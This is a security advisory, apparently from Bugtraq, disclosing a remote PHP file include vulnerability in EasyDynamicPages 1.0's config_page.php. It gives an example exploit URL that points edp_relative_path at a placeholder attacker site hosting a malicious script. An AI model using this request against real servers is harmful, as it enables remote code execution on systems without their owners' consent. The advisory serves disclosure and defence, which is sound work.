EasyDynamicPages config_page.php Remote PHP File Include Vulnerability

Bugtraq ID:	9338
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 02 2004 12:00AM
Updated:	Jan 02 2004 12:00AM
Credit:	Discovery is credited to tsbeginnervn.
Vulnerable:	Stoitsov EasyDynamicPages 1.0
Not Vulnerable:

EasyDynamicPages config_page.php Remote PHP File Include Vulnerability

EasyDynamicPages is prone to a remote file include vulnerability in a configuration script. This will permit a remote attack to include malicious PHP scripts from remote servers, which will then be executed by the web server hosting the vulnerable software.

EasyDynamicPages config_page.php Remote PHP File Include Vulnerability

The following example was provided:

http://www.example.com/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://[attacker's_site]/

The attacker must have a malicious script hosted at the following location:

http://[attacker's_site]/admin/site_settings.php

EasyDynamicPages config_page.php Remote PHP File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

EasyDynamicPages config_page.php Remote PHP File Include Vulnerability

References:

• Stoitsov Homepage (Stoitsov)
  
• include() vuln in EasyDynamicPages v.2.0 (Vietnamese Security Group )